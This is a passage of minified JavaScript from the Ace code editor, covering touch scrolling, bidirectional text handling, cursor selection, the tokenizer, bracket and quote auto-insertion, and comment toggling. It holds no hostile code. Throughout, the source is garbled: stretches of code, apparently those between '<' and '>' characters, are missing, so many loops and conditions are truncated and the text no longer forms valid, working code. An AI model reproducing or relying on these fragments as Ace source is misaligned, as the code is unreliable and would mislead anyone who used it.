x=t.selection.cursor,k=t.selection.isEmpty()?x:t.selection.anchor,A=t.renderer.$cursorLayer.getPixelPosition(x,!0),L=t.renderer.$cursorLayer.getPixelPosition(k,!0),R=t.renderer.scroller.getBoundingClientRect(),M=t.renderer.layerConfig.offset,E=t.renderer.scrollLeft,T=function(e,t){return(e/=c)*e+(t=t/o-.75)*t};if(e.clientXF?"cursor":"anchor"),f=F<3.5?"anchor":_<3.5?"cursor":"scroll",h=setTimeout(C,450)}a=g}),t),s.addListener(e,"touchend",(function(e){d=t.$mouseHandler.isMousePressed=!1,c&&clearInterval(c),"zoom"==f?(f="",m=0):h?(t.selection.moveToPosition(u),m=0,b()):"scroll"==f?(m+=60,c=setInterval((function(){m--<=0&&(clearInterval(c),c=null),Math.abs(v)<.01&&(v=0),Math.abs(w)<.01&&(w=0),m<20&&(v*=.9),m<20&&(w*=.9);var e=t.session.getScrollTop();t.renderer.scrollBy(10*v,10*w),e==t.session.getScrollTop()&&(m=0)}),10),y()):b(),clearTimeout(h),h=null}),t),s.addListener(e,"touchmove",(function(e){h&&(clearTimeout(h),h=null);var s=e.touches;if(!(s.length>1||"zoom"==f)){var o=s[0],a=i-o.clientX,c=r-o.clientY;if("wait"==f){if(!(a*a+c*c>4))return e.preventDefault();f="cursor"}i=o.clientX,r=o.clientY,e.clientX=o.clientX,e.clientY=o.clientY;var u=e.timeStamp,d=u-l;if(l=u,"scroll"==f){var g=new n(e,t);g.speed=1,g.wheelX=a,g.wheelY=c,10*Math.abs(a)=e){for(o=u+1;o=e;)o++;for(a=u,l=o-1;a=t.length||2!=(l=i[s-1])&&3!=l||2!=(h=t[s+1])&&3!=h?4:(o&&(h=3),h==l?h:4);case 10:return 2==(l=s>0?i[s-1]:5)&&s+10&&2==i[s-1])return 2;if(o)return 4;for(g=s+1,d=t.length;g=1425&&m<=2303||64286==m;if(l=t[g],p&&(1==l||7==l))return 1}return s<1||5==(l=t[s-1])?4:i[s-1];case 5:return o=!1,r=!0,n;case 6:return a=!0,4;case 13:case 14:case 16:case 17:case 15:o=!1;case u:return 4}}function p(e){var t=e.charCodeAt(0),i=t>>8;return 0==i?t>191?0:d[t]:5==i?/[\u0591-\u05f4]/.test(e)?1:0:6==i?/[\u0610-\u061a\u064b-\u065f\u06d6-\u06e4\u06e7-\u06ed]/.test(e)?12:/[\u0660-\u0669\u066b-\u066c]/.test(e)?3:1642==t?c:/[\u06f0-\u06f9]/.test(e)?2:7:32==i&&t<=8287?g[255&t]:254==i&&t>=65136?7:4}t.L=0,t.R=1,t.EN=2,t.ON_R=3,t.AN=4,t.R_H=5,t.B=6,t.RLE=7,t.DOT="·",t.doBidiReorder=function(e,i,c){if(e.length<2)return{};var d=e.split(""),g=new Array(d.length),v=new Array(d.length),w=[];n=c?1:0,function(e,t,i,c){var u=n?h:l,d=null,g=null,f=null,v=0,w=null,$=-1,b=null,y=null,C=[];if(!c)for(b=0,c=[];b0)if(16==w){for(b=$;b-1){for(b=$;b=0&&8==c[S];S--)t[S]=n}}(d,w,d.length,i);for(var $=0;$7&&i[$]<13||4===i[$]||i[$]===u)?w[$]=t.ON_R:$>0&&"ل"===d[$-1]&&/\u0622|\u0623|\u0625|\u0627/.test(d[$])&&(w[$-1]=w[$]=t.R_H,$++);d[d.length-1]===t.DOT&&(w[d.length-1]=t.B),"‫"===d[0]&&(w[0]=t.RLE);for($=0;$=0&&(e=this.session.$docRowCache[i])}return e},this.getSplitIndex=function(){var e=0,t=this.session.$screenRowCache;if(t.length)for(var i,n=this.session.$getRowCacheIndex(t,this.currentRow);this.currentRow-e>0&&(i=this.session.$getRowCacheIndex(t,this.currentRow-e-1))===n;)n=i,e++;else e=this.currentRow;return e},this.updateRowLine=function(e,t){void 0===e&&(e=this.getDocumentRow());var i=e===this.session.getLength()-1?this.EOF:this.EOL;if(this.wrapIndent=0,this.line=this.session.getLine(e),this.isRtlDir=this.$isRtl||this.line.charAt(0)===this.RLE,this.session.$useWrapMode){var o=this.session.$wrapData[e];o&&(void 0===t&&(t=this.getSplitIndex()),t>0&&o.length?(this.wrapIndent=o.indent,this.wrapOffset=this.wrapIndent*this.charWidths[n.L],this.line=tt?this.session.getOverwrite()?e:e-1:t,s=n.getVisualFromLogicalIdx(i,this.bidiMap),o=this.bidiMap.bidiLevels,r=0;!this.session.getOverwrite()&&e<=t&&o[s]%2!=0&&s++;for(var a=0;at&&o[s]%2==0&&(r+=this.charWidths[o[s]]),this.wrapIndent&&(r+=this.isRtlDir?-1*this.wrapOffset:this.wrapOffset),this.isRtlDir&&(r+=this.rtlLineOffset),r},this.getSelections=function(e,t){var i,n=this.bidiMap,s=n.bidiLevels,o=[],r=0,a=Math.min(e,t)-this.wrapIndent,l=Math.max(e,t)-this.wrapIndent,h=!1,c=!1,u=0;this.wrapIndent&&(r+=this.isRtlDir?-1*this.wrapOffset:this.wrapOffset);for(var d,g=0;g=a&&di+o/2;){if(i+=o,n===s.length-1){o=0;break}o=this.charWidths[s[++n]]}return n>0&&s[n-1]%2!=0&&s[n]%2==0?(e0&&s[n-1]%2==0&&s[n]%2!=0?t=1+(e>i?this.bidiMap.logicalFromVisual[n]:this.bidiMap.logicalFromVisual[n-1]):this.isRtlDir&&n===s.length-1&&0===o&&s[n-1]%2==0||!this.isRtlDir&&0===n&&s[n]%2!=0?t=1+this.bidiMap.logicalFromVisual[n]:(n>0&&s[n-1]%2!=0&&0!==o&&n--,t=this.bidiMap.logicalFromVisual[n]),0===t&&this.isRtlDir&&t++,t+this.wrapIndent}}).call(r.prototype),t.BidiHandler=r})),define("ace/selection",["require","exports","module","ace/lib/oop","ace/lib/lang","ace/lib/event_emitter","ace/range"],(function(e,t,i){"use strict";var n=e("./lib/oop"),s=e("./lib/lang"),o=e("./lib/event_emitter").EventEmitter,r=e("./range").Range,a=function(e){this.session=e,this.doc=e.getDocument(),this.clearSelection(),this.cursor=this.lead=this.doc.createAnchor(0,0),this.anchor=this.doc.createAnchor(0,0),this.$silent=!1;var t=this;this.cursor.on("change",(function(e){t.$cursorChanged=!0,t.$silent||t._emit("changeCursor"),t.$isEmpty||t.$silent||t._emit("changeSelection"),t.$keepDesiredColumnOnChange||e.old.column==e.value.column||(t.$desiredColumn=null)})),this.anchor.on("change",(function(){t.$anchorChanged=!0,t.$isEmpty||t.$silent||t._emit("changeSelection")}))};(function(){n.implement(this,o),this.isEmpty=function(){return this.$isEmpty||this.anchor.row==this.lead.row&&this.anchor.column==this.lead.column},this.isMultiLine=function(){return!this.$isEmpty&&this.anchor.row!=this.cursor.row},this.getCursor=function(){return this.lead.getPosition()},this.setSelectionAnchor=function(e,t){this.$isEmpty=!1,this.anchor.setPosition(e,t)},this.getAnchor=this.getSelectionAnchor=function(){return this.$isEmpty?this.getSelectionLead():this.anchor.getPosition()},this.getSelectionLead=function(){return this.lead.getPosition()},this.isBackwards=function(){var e=this.anchor,t=this.lead;return e.row>t.row||e.row==t.row&&e.column>t.column},this.getRange=function(){var e=this.anchor,t=this.lead;return this.$isEmpty?r.fromPoints(t,t):this.isBackwards()?r.fromPoints(t,e):r.fromPoints(e,t)},this.clearSelection=function(){this.$isEmpty||(this.$isEmpty=!0,this._emit("changeSelection"))},this.selectAll=function(){this.$setSelection(0,0,Number.MAX_VALUE,Number.MAX_VALUE)},this.setRange=this.setSelectionRange=function(e,t){var i=t?e.end:e.start,n=t?e.start:e.end;this.$setSelection(i.row,i.column,n.row,n.column)},this.$setSelection=function(e,t,i,n){if(!this.$silent){var s=this.$isEmpty,o=this.inMultiSelectMode;this.$silent=!0,this.$cursorChanged=this.$anchorChanged=!1,this.anchor.setPosition(e,t),this.cursor.setPosition(i,n),this.$isEmpty=!r.comparePoints(this.anchor,this.cursor),this.$silent=!1,this.$cursorChanged&&this._emit("changeCursor"),(this.$cursorChanged||this.$anchorChanged||s!=this.$isEmpty||o)&&this._emit("changeSelection")}},this.$moveSelection=function(e){var t=this.lead;this.$isEmpty&&this.setSelectionAnchor(t.row,t.column),e.call(this)},this.selectTo=function(e,t){this.$moveSelection((function(){this.moveCursorTo(e,t)}))},this.selectToPosition=function(e){this.$moveSelection((function(){this.moveCursorToPosition(e)}))},this.moveTo=function(e,t){this.clearSelection(),this.moveCursorTo(e,t)},this.moveToPosition=function(e){this.clearSelection(),this.moveCursorToPosition(e)},this.selectUp=function(){this.$moveSelection(this.moveCursorUp)},this.selectDown=function(){this.$moveSelection(this.moveCursorDown)},this.selectRight=function(){this.$moveSelection(this.moveCursorRight)},this.selectLeft=function(){this.$moveSelection(this.moveCursorLeft)},this.selectLineStart=function(){this.$moveSelection(this.moveCursorLineStart)},this.selectLineEnd=function(){this.$moveSelection(this.moveCursorLineEnd)},this.selectFileEnd=function(){this.$moveSelection(this.moveCursorFileEnd)},this.selectFileStart=function(){this.$moveSelection(this.moveCursorFileStart)},this.selectWordRight=function(){this.$moveSelection(this.moveCursorWordRight)},this.selectWordLeft=function(){this.$moveSelection(this.moveCursorWordLeft)},this.getWordRange=function(e,t){if(void 0===t){var i=e||this.lead;e=i.row,t=i.column}return this.session.getWordRange(e,t)},this.selectWord=function(){this.setSelectionRange(this.getWordRange())},this.selectAWord=function(){var e=this.getCursor(),t=this.session.getAWordRange(e.row,e.column);this.setSelectionRange(t)},this.getLineRange=function(e,t){var i,n="number"==typeof e?e:this.lead.row,s=this.session.getFoldLine(n);return s?(n=s.start.row,i=s.end.row):i=n,!0===t?new r(n,0,i,this.session.getLine(i).length):new r(n,0,i+1,0)},this.selectLine=function(){this.setSelectionRange(this.getLineRange())},this.moveCursorUp=function(){this.moveCursorBy(-1,0)},this.moveCursorDown=function(){this.moveCursorBy(1,0)},this.wouldMoveIntoSoftTab=function(e,t,i){var n=e.column,s=e.column+t;return i<0&&(n=e.column-t,s=e.column),this.session.isTabStop(e)&&this.doc.getLine(e.row).slice(n,s).split(" ").length-1==t},this.moveCursorLeft=function(){var e,t=this.lead.getPosition();if(e=this.session.getFoldAt(t.row,t.column,-1))this.moveCursorTo(e.start.row,e.start.column);else if(0===t.column)t.row>0&&this.moveCursorTo(t.row-1,this.doc.getLine(t.row-1).length);else{var i=this.session.getTabSize();this.wouldMoveIntoSoftTab(t,i,-1)&&!this.session.getNavigateWithinSoftTabs()?this.moveCursorBy(0,-i):this.moveCursorBy(0,-1)}},this.moveCursorRight=function(){var e,t=this.lead.getPosition();if(e=this.session.getFoldAt(t.row,t.column,1))this.moveCursorTo(e.end.row,e.end.column);else if(this.lead.column==this.doc.getLine(this.lead.row).length)this.lead.row0&&(t.column=n)}}this.moveCursorTo(t.row,t.column)},this.moveCursorFileEnd=function(){var e=this.doc.getLength()-1,t=this.doc.getLine(e).length;this.moveCursorTo(e,t)},this.moveCursorFileStart=function(){this.moveCursorTo(0,0)},this.moveCursorLongWordRight=function(){var e=this.lead.row,t=this.lead.column,i=this.doc.getLine(e),n=i.substring(t);this.session.nonTokenRe.lastIndex=0,this.session.tokenRe.lastIndex=0;var s=this.session.getFoldAt(e,t,1);if(s)this.moveCursorTo(s.end.row,s.end.column);else{if(this.session.nonTokenRe.exec(n)&&(t+=this.session.nonTokenRe.lastIndex,this.session.nonTokenRe.lastIndex=0,n=i.substring(t)),t>=i.length)return this.moveCursorTo(e,i.length),this.moveCursorRight(),void(e0&&this.moveCursorWordLeft());this.session.tokenRe.exec(o)&&(i-=this.session.tokenRe.lastIndex,this.session.tokenRe.lastIndex=0),this.moveCursorTo(t,i)}},this.$shortWordEndIndex=function(e){var t,i=0,n=/\s/,s=this.session.tokenRe;if(s.lastIndex=0,this.session.tokenRe.exec(e))i=this.session.tokenRe.lastIndex;else{for(;(t=e[i])&&n.test(t);)i++;if(i<1)for(s.lastIndex=0;(t=e[i])&&!s.test(t);)if(s.lastIndex=0,i++,n.test(t)){if(i>2){i--;break}for(;(t=e[i])&&n.test(t);)i++;if(i>2)break}}return s.lastIndex=0,i},this.moveCursorShortWordRight=function(){var e=this.lead.row,t=this.lead.column,i=this.doc.getLine(e),n=i.substring(t),s=this.session.getFoldAt(e,t,1);if(s)return this.moveCursorTo(s.end.row,s.end.column);if(t==i.length){var o=this.doc.getLength();do{e++,n=this.doc.getLine(e)}while(e0&&/^\s*$/.test(n));i=n.length,/\s+$/.test(n)||(n="")}var o=s.stringReverse(n),r=this.$shortWordEndIndex(o);return this.moveCursorTo(t,i-r)},this.moveCursorWordRight=function(){this.session.$selectLongWords?this.moveCursorLongWordRight():this.moveCursorShortWordRight()},this.moveCursorWordLeft=function(){this.session.$selectLongWords?this.moveCursorLongWordLeft():this.moveCursorShortWordLeft()},this.moveCursorBy=function(e,t){var i,n=this.session.documentToScreenPosition(this.lead.row,this.lead.column);if(0===t&&(0!==e&&(this.session.$bidiHandler.isBidiRow(n.row,this.lead.row)?(i=this.session.$bidiHandler.getPosLeft(n.column),n.column=Math.round(i/this.session.$bidiHandler.charWidths[0])):i=n.column*this.session.$bidiHandler.charWidths[0]),this.$desiredColumn?n.column=this.$desiredColumn:this.$desiredColumn=n.column),0!=e&&this.session.lineWidgets&&this.session.lineWidgets[this.lead.row]){var s=this.session.lineWidgets[this.lead.row];e<0?e-=s.rowsAbove||0:e>0&&(e+=s.rowCount-(s.rowsAbove||0))}var o=this.session.screenToDocumentPosition(n.row+e,n.column,i);0!==e&&0===t&&o.row===this.lead.row&&(o.column,this.lead.column),this.moveCursorTo(o.row,o.column+t,0===t)},this.moveCursorToPosition=function(e){this.moveCursorTo(e.row,e.column)},this.moveCursorTo=function(e,t,i){var n=this.session.getFoldAt(e,t,1);n&&(e=n.start.row,t=n.start.column),this.$keepDesiredColumnOnChange=!0;var s=this.session.getLine(e);/[\uDC00-\uDFFF]/.test(s.charAt(t))&&s.charAt(t-1)&&(this.lead.row==e&&this.lead.column==t+1?t-=1:t+=1),this.lead.setPosition(e,t),this.$keepDesiredColumnOnChange=!1,i||(this.$desiredColumn=null)},this.moveCursorToScreen=function(e,t,i){var n=this.session.screenToDocumentPosition(e,t);this.moveCursorTo(n.row,n.column,i)},this.detach=function(){this.lead.detach(),this.anchor.detach()},this.fromOrientedRange=function(e){this.setSelectionRange(e,e.cursor==e.start),this.$desiredColumn=e.desiredColumn||this.$desiredColumn},this.toOrientedRange=function(e){var t=this.getRange();return e?(e.start.column=t.start.column,e.start.row=t.start.row,e.end.column=t.end.column,e.end.row=t.end.row):e=t,e.cursor=this.isBackwards()?e.start:e.end,e.desiredColumn=this.$desiredColumn,e},this.getRangeOfMovements=function(e){var t=this.getCursor();try{e(this);var i=this.getCursor();return r.fromPoints(t,i)}catch(e){return r.fromPoints(t,t)}finally{this.moveCursorToPosition(t)}},this.toJSON=function(){if(this.rangeCount)var e=this.ranges.map((function(e){var t=e.clone();return t.isBackwards=e.cursor==e.start,t}));else(e=this.getRange()).isBackwards=this.isBackwards();return e},this.fromJSON=function(e){if(null==e.start){if(this.rangeList&&e.length>1){this.toSingleRange(e[0]);for(var t=e.length;t--;){var i=r.fromPoints(e[t].start,e[t].end);e[t].isBackwards&&(i.cursor=i.start),this.addRange(i,!0)}return}e=e[0]}this.rangeList&&this.toSingleRange(e),this.setSelectionRange(e,e.isBackwards)},this.isEqual=function(e){if((e.length||this.rangeCount)&&e.length!=this.rangeCount)return!1;if(!e.length||!this.ranges)return this.getRange().isEqual(e);for(var t=this.ranges.length;t--;)if(!this.ranges[t].isEqual(e[t]))return!1;return!0}}).call(a.prototype),t.Selection=a})),define("ace/tokenizer",["require","exports","module","ace/config"],(function(e,t,i){"use strict";var n=e("./config"),s=2e3,o=function(e){for(var t in this.states=e,this.regExps={},this.matchMappings={},this.states){for(var i=this.states[t],n=[],s=0,o=this.matchMappings[t]={defaultToken:"text"},r="g",a=[],l=0;l1?this.$applyToken:h.token),u>1&&(/\\\d/.test(h.regex)?c=h.regex.replace(/\\([0-9]+)/g,(function(e,t){return"\\"+(parseInt(t,10)+s+1)})):(u=1,c=this.removeCapturingGroups(h.regex)),h.splitRegex||"string"==typeof h.token||a.push(h)),o[s]=l,s+=u,n.push(c),h.onMatch||(h.onMatch=null)}}n.length||(o[0]=0,n.push("$")),a.forEach((function(e){e.splitRegex=this.createSplitterRegexp(e.regex,r)}),this),this.regExps[t]=new RegExp("("+n.join(")|(")+")|($)",r)}};(function(){this.$setMaxTokenCount=function(e){s=0|e},this.$applyToken=function(e){var t=this.splitRegex.exec(e).slice(1),i=this.token.apply(this,t);if("string"==typeof i)return[{type:i,value:e}];for(var n=[],s=0,o=i.length;sc){var v=e.substring(c,p-m.length);d.type==g?d.value+=v:(d.type&&h.push(d),d={type:g,value:v})}for(var w=0;ws){for(u>2*e.length&&this.reportError("infinite loop with in ace tokenizer",{startState:t,line:e});c1&&i[0]!==n&&i.unshift("#tmp",n),{tokens:h,state:i.length?i:n}},this.reportError=n.reportError}).call(o.prototype),t.Tokenizer=o})),define("ace/mode/text_highlight_rules",["require","exports","module","ace/lib/lang"],(function(e,t,i){"use strict";var n=e("../lib/lang"),s=function(){this.$rules={start:[{token:"empty_line",regex:"^$"},{defaultToken:"text"}]}};(function(){this.addRules=function(e,t){if(t)for(var i in e){for(var n=e[i],s=0;s=this.$rowTokens.length;){if(this.$row+=1,e||(e=this.$session.getLength()),this.$row>=e)return this.$row=e-1,null;this.$rowTokens=this.$session.getTokens(this.$row),this.$tokenIndex=0}return this.$rowTokens[this.$tokenIndex]},this.getCurrentToken=function(){return this.$rowTokens[this.$tokenIndex]},this.getCurrentTokenRow=function(){return this.$row},this.getCurrentTokenColumn=function(){var e=this.$rowTokens,t=this.$tokenIndex,i=e[t].start;if(void 0!==i)return i;for(i=0;t>0;)i+=e[t-=1].value.length;return i},this.getCurrentTokenPosition=function(){return{row:this.$row,column:this.getCurrentTokenColumn()}},this.getCurrentTokenRange=function(){var e=this.$rowTokens[this.$tokenIndex],t=this.getCurrentTokenColumn();return new n(this.$row,t,this.$row,t+e.value.length)}}).call(s.prototype),t.TokenIterator=s})),define("ace/mode/behaviour/cstyle",["require","exports","module","ace/lib/oop","ace/mode/behaviour","ace/token_iterator","ace/lib/lang"],(function(e,t,i){"use strict";var n,s=e("../../lib/oop"),o=e("../behaviour").Behaviour,r=e("../../token_iterator").TokenIterator,a=e("../../lib/lang"),l=["text","paren.rparen","rparen","paren","punctuation.operator"],h=["text","paren.rparen","rparen","paren","punctuation.operator","comment"],c={},u={'"':'"',"'":"'"},d=function(e){var t=-1;if(e.multiSelect&&(t=e.selection.index,c.rangeCount!=e.multiSelect.rangeCount&&(c={rangeCount:e.multiSelect.rangeCount})),c[t])return n=c[t];n=c[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:"",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:"",maybeInsertedLineEnd:""}},g=function(e,t,i,n){var s=e.end.row-e.start.row;return{text:i+t+n,selection:[0,e.start.column+1,s,e.end.column+(s?0:1)]}},f=function(e){this.add("braces","insertion",(function(t,i,s,o,r){var l=s.getCursorPosition(),h=o.doc.getLine(l.row);if("{"==r){d(s);var c=s.getSelectionRange(),u=o.doc.getTextRange(c);if(""!==u&&"{"!==u&&s.getWrapBehavioursEnabled())return g(c,u,"{","}");if(f.isSaneInsertion(s,o))return/[\]\}\)]/.test(h[l.column])||s.inMultiSelectMode||e&&e.braces?(f.recordAutoInsert(s,o,"}"),{text:"{}",selection:[1,1]}):(f.recordMaybeInsert(s,o,"{"),{text:"{",selection:[1,1]})}else if("}"==r){if(d(s),"}"==h.substring(l.column,l.column+1))if(null!==o.$findOpeningBracket("}",{column:l.column+1,row:l.row})&&f.isAutoInsertedClosing(l,h,r))return f.popAutoInsertedClosing(),{text:"",selection:[1,1]}}else{if("\n"==r||"\r\n"==r){d(s);var m="";if(f.isMaybeInsertedClosing(l,h)&&(m=a.stringRepeat("}",n.maybeInsertedBrackets),f.clearMaybeInsertedClosing()),"}"===h.substring(l.column,l.column+1)){var p=o.findMatchingBracket({row:l.row,column:l.column+1},"}");if(!p)return null;var v=this.$getIndent(o.getLine(p.row))}else{if(!m)return void f.clearMaybeInsertedClosing();v=this.$getIndent(h)}var w=v+o.getTabString();return{text:"\n"+w+"\n"+v+m,selection:[1,w.length,1,w.length]}}f.clearMaybeInsertedClosing()}})),this.add("braces","deletion",(function(e,t,i,s,o){var r=s.doc.getTextRange(o);if(!o.isMultiLine()&&"{"==r){if(d(i),"}"==s.doc.getLine(o.start.row).substring(o.end.column,o.end.column+1))return o.end.column++,o;n.maybeInsertedBrackets--}})),this.add("parens","insertion",(function(e,t,i,n,s){if("("==s){d(i);var o=i.getSelectionRange(),r=n.doc.getTextRange(o);if(""!==r&&i.getWrapBehavioursEnabled())return g(o,r,"(",")");if(f.isSaneInsertion(i,n))return f.recordAutoInsert(i,n,")"),{text:"()",selection:[1,1]}}else if(")"==s){d(i);var a=i.getCursorPosition(),l=n.doc.getLine(a.row);if(")"==l.substring(a.column,a.column+1))if(null!==n.$findOpeningBracket(")",{column:a.column+1,row:a.row})&&f.isAutoInsertedClosing(a,l,s))return f.popAutoInsertedClosing(),{text:"",selection:[1,1]}}})),this.add("parens","deletion",(function(e,t,i,n,s){var o=n.doc.getTextRange(s);if(!s.isMultiLine()&&"("==o&&(d(i),")"==n.doc.getLine(s.start.row).substring(s.start.column+1,s.start.column+2)))return s.end.column++,s})),this.add("brackets","insertion",(function(e,t,i,n,s){if("["==s){d(i);var o=i.getSelectionRange(),r=n.doc.getTextRange(o);if(""!==r&&i.getWrapBehavioursEnabled())return g(o,r,"[","]");if(f.isSaneInsertion(i,n))return f.recordAutoInsert(i,n,"]"),{text:"[]",selection:[1,1]}}else if("]"==s){d(i);var a=i.getCursorPosition(),l=n.doc.getLine(a.row);if("]"==l.substring(a.column,a.column+1))if(null!==n.$findOpeningBracket("]",{column:a.column+1,row:a.row})&&f.isAutoInsertedClosing(a,l,s))return f.popAutoInsertedClosing(),{text:"",selection:[1,1]}}})),this.add("brackets","deletion",(function(e,t,i,n,s){var o=n.doc.getTextRange(s);if(!s.isMultiLine()&&"["==o&&(d(i),"]"==n.doc.getLine(s.start.row).substring(s.start.column+1,s.start.column+2)))return s.end.column++,s})),this.add("string_dquotes","insertion",(function(e,t,i,n,s){var o=n.$mode.$quotes||u;if(1==s.length&&o[s]){if(this.lineCommentStart&&-1!=this.lineCommentStart.indexOf(s))return;d(i);var r=s,a=i.getSelectionRange(),l=n.doc.getTextRange(a);if(!(""===l||1==l.length&&o[l])&&i.getWrapBehavioursEnabled())return g(a,l,r,r);if(!l){var h=i.getCursorPosition(),c=n.doc.getLine(h.row),f=c.substring(h.column-1,h.column),m=c.substring(h.column,h.column+1),p=n.getTokenAt(h.row,h.column),v=n.getTokenAt(h.row,h.column+1);if("\\"==f&&p&&/escape/.test(p.type))return null;var w,$=p&&/string|escape/.test(p.type),b=!v||/string|escape/.test(v.type);if(m==r)(w=$!==b)&&/string\.end/.test(v.type)&&(w=!1);else{if($&&!b)return null;if($&&b)return null;var y=n.$mode.tokenRe;y.lastIndex=0;var C=y.test(f);y.lastIndex=0;var S=y.test(f);if(C||S)return null;if(m&&!/[\s;,.})\]\\]/.test(m))return null;var x=c[h.column-2];if(f==r&&(x==r||y.test(x)))return null;w=!0}return{text:w?r+r:"",selection:[1,1]}}}})),this.add("string_dquotes","deletion",(function(e,t,i,n,s){var o=n.$mode.$quotes||u,r=n.doc.getTextRange(s);if(!s.isMultiLine()&&o.hasOwnProperty(r)&&(d(i),n.doc.getLine(s.start.row).substring(s.start.column+1,s.start.column+2)==r))return s.end.column++,s}))};f.isSaneInsertion=function(e,t){var i=e.getCursorPosition(),n=new r(t,i.row,i.column);if(!this.$matchTokenType(n.getCurrentToken()||"text",l)){if(/[)}\]]/.test(e.session.getLine(i.row)[i.column]))return!0;var s=new r(t,i.row,i.column+1);if(!this.$matchTokenType(s.getCurrentToken()||"text",l))return!1}return n.stepForward(),n.getCurrentTokenRow()!==i.row||this.$matchTokenType(n.getCurrentToken()||"text",h)},f.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},f.recordAutoInsert=function(e,t,i){var s=e.getCursorPosition(),o=t.doc.getLine(s.row);this.isAutoInsertedClosing(s,o,n.autoInsertedLineEnd[0])||(n.autoInsertedBrackets=0),n.autoInsertedRow=s.row,n.autoInsertedLineEnd=i+o.substr(s.column),n.autoInsertedBrackets++},f.recordMaybeInsert=function(e,t,i){var s=e.getCursorPosition(),o=t.doc.getLine(s.row);this.isMaybeInsertedClosing(s,o)||(n.maybeInsertedBrackets=0),n.maybeInsertedRow=s.row,n.maybeInsertedLineStart=o.substr(0,s.column)+i,n.maybeInsertedLineEnd=o.substr(s.column),n.maybeInsertedBrackets++},f.isAutoInsertedClosing=function(e,t,i){return n.autoInsertedBrackets>0&&e.row===n.autoInsertedRow&&i===n.autoInsertedLineEnd[0]&&t.substr(e.column)===n.autoInsertedLineEnd},f.isMaybeInsertedClosing=function(e,t){return n.maybeInsertedBrackets>0&&e.row===n.maybeInsertedRow&&t.substr(e.column)===n.maybeInsertedLineEnd&&t.substr(0,e.column)==n.maybeInsertedLineStart},f.popAutoInsertedClosing=function(){n.autoInsertedLineEnd=n.autoInsertedLineEnd.substr(1),n.autoInsertedBrackets--},f.clearMaybeInsertedClosing=function(){n&&(n.maybeInsertedBrackets=0,n.maybeInsertedRow=-1)},s.inherits(f,o),t.CstyleBehaviour=f})),define("ace/unicode",["require","exports","module"],(function(e,t,i){"use strict";for(var n=[48,9,8,25,5,0,2,25,48,0,11,0,5,0,6,22,2,30,2,457,5,11,15,4,8,0,2,0,18,116,2,1,3,3,9,0,2,2,2,0,2,19,2,82,2,138,2,4,3,155,12,37,3,0,8,38,10,44,2,0,2,1,2,1,2,0,9,26,6,2,30,10,7,61,2,9,5,101,2,7,3,9,2,18,3,0,17,58,3,100,15,53,5,0,6,45,211,57,3,18,2,5,3,11,3,9,2,1,7,6,2,2,2,7,3,1,3,21,2,6,2,0,4,3,3,8,3,1,3,3,9,0,5,1,2,4,3,11,16,2,2,5,5,1,3,21,2,6,2,1,2,1,2,1,3,0,2,4,5,1,3,2,4,0,8,3,2,0,8,15,12,2,2,8,2,2,2,21,2,6,2,1,2,4,3,9,2,2,2,2,3,0,16,3,3,9,18,2,2,7,3,1,3,21,2,6,2,1,2,4,3,8,3,1,3,2,9,1,5,1,2,4,3,9,2,0,17,1,2,5,4,2,2,3,4,1,2,0,2,1,4,1,4,2,4,11,5,4,4,2,2,3,3,0,7,0,15,9,18,2,2,7,2,2,2,22,2,9,2,4,4,7,2,2,2,3,8,1,2,1,7,3,3,9,19,1,2,7,2,2,2,22,2,9,2,4,3,8,2,2,2,3,8,1,8,0,2,3,3,9,19,1,2,7,2,2,2,22,2,15,4,7,2,2,2,3,10,0,9,3,3,9,11,5,3,1,2,17,4,23,2,8,2,0,3,6,4,0,5,5,2,0,2,7,19,1,14,57,6,14,2,9,40,1,2,0,3,1,2,0,3,0,7,3,2,6,2,2,2,0,2,0,3,1,2,12,2,2,3,4,2,0,2,5,3,9,3,1,35,0,24,1,7,9,12,0,2,0,2,0,5,9,2,35,5,19,2,5,5,7,2,35,10,0,58,73,7,77,3,37,11,42,2,0,4,328,2,3,3,6,2,0,2,3,3,40,2,3,3,32,2,3,3,6,2,0,2,3,3,14,2,56,2,3,3,66,5,0,33,15,17,84,13,619,3,16,2,25,6,74,22,12,2,6,12,20,12,19,13,12,2,2,2,1,13,51,3,29,4,0,5,1,3,9,34,2,3,9,7,87,9,42,6,69,11,28,4,11,5,11,11,39,3,4,12,43,5,25,7,10,38,27,5,62,2,28,3,10,7,9,14,0,89,75,5,9,18,8,13,42,4,11,71,55,9,9,4,48,83,2,2,30,14,230,23,280,3,5,3,37,3,5,3,7,2,0,2,0,2,0,2,30,3,52,2,6,2,0,4,2,2,6,4,3,3,5,5,12,6,2,2,6,67,1,20,0,29,0,14,0,17,4,60,12,5,0,4,11,18,0,5,0,3,9,2,0,4,4,7,0,2,0,2,0,2,3,2,10,3,3,6,4,5,0,53,1,2684,46,2,46,2,132,7,6,15,37,11,53,10,0,17,22,10,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,31,48,0,470,1,36,5,2,4,6,1,5,85,3,1,3,2,2,89,2,3,6,40,4,93,18,23,57,15,513,6581,75,20939,53,1164,68,45,3,268,4,27,21,31,3,13,13,1,2,24,9,69,11,1,38,8,3,102,3,1,111,44,25,51,13,68,12,9,7,23,4,0,5,45,3,35,13,28,4,64,15,10,39,54,10,13,3,9,7,22,4,1,5,66,25,2,227,42,2,1,3,9,7,11171,13,22,5,48,8453,301,3,61,3,105,39,6,13,4,6,11,2,12,2,4,2,0,2,1,2,1,2,107,34,362,19,63,3,53,41,11,5,15,17,6,13,1,25,2,33,4,2,134,20,9,8,25,5,0,2,25,12,88,4,5,3,5,3,5,3,2],s=0,o=[],r=0;r2?n%h!=h-1:n%h==0})}else{if(!this.blockComment)return!1;var g=this.blockComment.start,f=this.blockComment.end,m=new RegExp("^(\\s*)(?:"+l.escapeRegExp(g)+")"),p=new RegExp("(?:"+l.escapeRegExp(f)+")\\s*$"),v=function(e,t){$(e,t)||o&&!/\S/.test(e)||(s.insertInLine({row:t,column:e.length},f),s.insertInLine({row:t,column:a},g))},w=function(e,t){var i;(i=e.match(p))&&s.removeInLine(t,e.length-i[0].length,e.length),(i=e.match(m))&&s.removeInLine(t,i[1].length,i[0].length)},$=function(e,i){if(m.test(e))return!0;for(var n=t.getTokens(i),s=0;se.length&&(y=e.length)})),a==1/0&&(a=y,o=!1,r=!1),c&&a%h!=0&&(a=Math.floor(a/h)*h),b(r?w:v)},this.toggleBlockComment=function(e,t,i,n){var s=this.blockComment;if(s){!s.start&&s[0]&&(s=s[0]);var 